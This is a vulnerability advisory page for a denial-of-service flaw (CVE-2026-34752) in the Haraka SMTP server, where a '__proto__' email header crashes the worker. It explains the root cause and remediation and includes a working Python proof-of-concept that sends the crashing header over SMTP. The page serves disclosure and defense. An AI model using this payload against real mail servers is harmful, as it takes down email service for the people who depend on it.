Python
CVE-2026-34752
HIGH
GHSA-xph3-r2jf-4vp3
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Sending an email with __proto__: as a header name crashes the Haraka worker process.
Details
The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key][method](value) // line 217
}When key is __proto__:
this.headers['__proto__']returnsObject.prototype(the prototype getter)Object.prototypeis not null/undefined, so??=is skippedObject.prototype.push(value)throwsTypeError: not a function
The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})PoC
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<x@x.com>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<user@haraka.local>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: x@x.com\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")Impact
In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
AnalysisAI
Haraka email server crashes when processing emails with __proto__ as a header name, enabling remote unauthenticated denial of service. Attackers can send a specially crafted email via SMTP to crash worker processes, disrupting email delivery. In single-process deployments, the entire server becomes unavailable; in cluster mode, all active sessions are terminated. No public exploit identified at time of analysis beyond the published proof-of-concept code, though exploitation requires only basic SMTP access.
Technical ContextAI
This vulnerability affects Haraka, a Node.js-based SMTP server (pkg:npm/haraka). The root cause is prototype pollution (CWE-248) in the haraka-email-message library's header parser. The parser stores email headers in a plain JavaScript object using bracket notation without Object.create(null) or Map, allowing access to inherited properties. When a header named __proto__ is encountered, the code attempts to access this.headers['__proto__'], which returns Object.prototype instead of undefined. The nullish coalescing operator (??=) skips initialization because Object.prototype is truthy, then the code attempts to call push() on Object.prototype, triggering an uncaught TypeError. The global uncaughtException handler responds by calling process.exit(1), terminating the worker process. This represents a classic example of JavaScript prototype chain exploitation where special property names bypass object initialization logic.
RemediationAI
Upgrade to the patched version of Haraka as specified in the vendor advisory at https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3 (exact patched version number not provided in available data; consult advisory for specific release). The fix likely involves either using Object.create(null) for header storage to eliminate prototype chain inheritance, implementing input validation to reject reserved property names like __proto__, constructor, and prototype, or migrating to Map data structures for header storage. As a temporary workaround until patching, deploy network-level filtering to inspect and reject SMTP DATA commands containing headers matching the pattern __proto__: or other prototype pollution vectors, though this is not foolproof and patching remains the primary mitigation. For critical deployments, consider running Haraka in cluster mode (nodes>0) to limit blast radius to individual worker processes rather than total service failure, though this does not eliminate the vulnerability.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-248 – Uncaught Exception
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today